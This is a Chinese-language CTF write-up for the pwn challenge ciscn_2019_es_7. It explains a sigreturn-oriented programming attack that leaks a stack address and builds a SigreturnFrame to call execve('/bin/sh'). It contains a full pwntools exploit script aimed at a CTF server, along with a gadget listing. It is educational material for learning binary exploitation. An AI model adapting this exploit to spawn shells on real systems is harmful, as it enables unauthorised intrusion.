ciscn_2019_es_7 wp

参考https://blog.51cto.com/u_15127553/4180587
参考https://bbs.kanxue.com/thread-267072.htm
参考https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/
参考https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf



第一次srop也是第一次接触这种类ret2syscall题目
srop的前置条件,本题都可以找到

保护只开了nx,ida strings里面也是什么也没有
本题关键函数

此处sys_read函数可以将读入的字符串从$rbp-0x10处开始写入栈上,可以将/bin/sh写入方便后续利用,所以payload1可以这样构造
b"/bin/sh\x00"+p64(0)+p64(sys_read)
而随后的sys_write则将$rbp-0x10往后0x30 bytes的数据打印出来,我们可以利用这一点泄露signal frame的stack addr并测算距离/bin/sh字符串偏移,通过已知地址偏移确定/bin/sh字符串具体位置
gdb动调可以找出来偏移为296<=>0x128 (本地调出来这么多能打通,远端就打不通,远端偏移0x118,情况跟本地反着来😅😅😅)

测出偏移后利用pwntools自带函数SigreturnFrame()开始构造
之后因为前面ret返回vuln起始,需要重新输入溢出,则payload2可以这样构造
b"/bin/sh\x00"+p64(0)+p64(sigreturn_addr)+p64(syscall_addr)+bytes(sigframe)
随后get shell
exp如下:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

# io=process("./ciscn_2019_es_7")
io=remote("node4.buuoj.cn",26083)

sigreturn_addr=0x4004da #mov rax,0Fh
sys_read=0x4004ed
syscall_addr=0x400517
ret_addr=0x4003a9

payload=b"/bin/sh\x00"+p64(0)+p64(sys_read) #将/bin/sh写入栈上,同时返回地址设为sys_read以便后续构造payload
io.sendline(payload)
stack_addr=u64(io.recv()[0x20:0x28]) #sys_write额外泄露长度0x20,0x20到0x28为signalframe的stack_addr

print("stack_addr:   "+hex(stack_addr))


sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_execve #execve系统调用号
sigframe.rdi=stack_addr-0x118 #execve参数1   我测,本地测出来偏移0x128能打通0x118不通,远端反着来
sigframe.rsi=0x0 #execve参数2
sigframe.rdx=0x0 #execve参数3
sigframe.rsp=stack_addr #指向被泄露地址
sigframe.rip=syscall_addr #让rip指向syscall位置

payload=b"/bin/sh\x00"+p64(0)+p64(sigreturn_addr)+p64(syscall_addr)+bytes(sigframe) 
io.sendline(payload)
io.interactive()



# Gadgets information
# ============================================================
# 0x000000000040059c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040059e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004005a0 : pop r14 ; pop r15 ; ret
# 0x00000000004005a2 : pop r15 ; ret
# 0x000000000040059b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040059f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400440 : pop rbp ; ret
# 0x00000000004005a3 : pop rdi ; ret
# 0x00000000004005a1 : pop rsi ; pop r15 ; ret
# 0x000000000040059d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004003a9 : ret
# 0x0000000000400501 : syscall

# Unique gadgets found: 12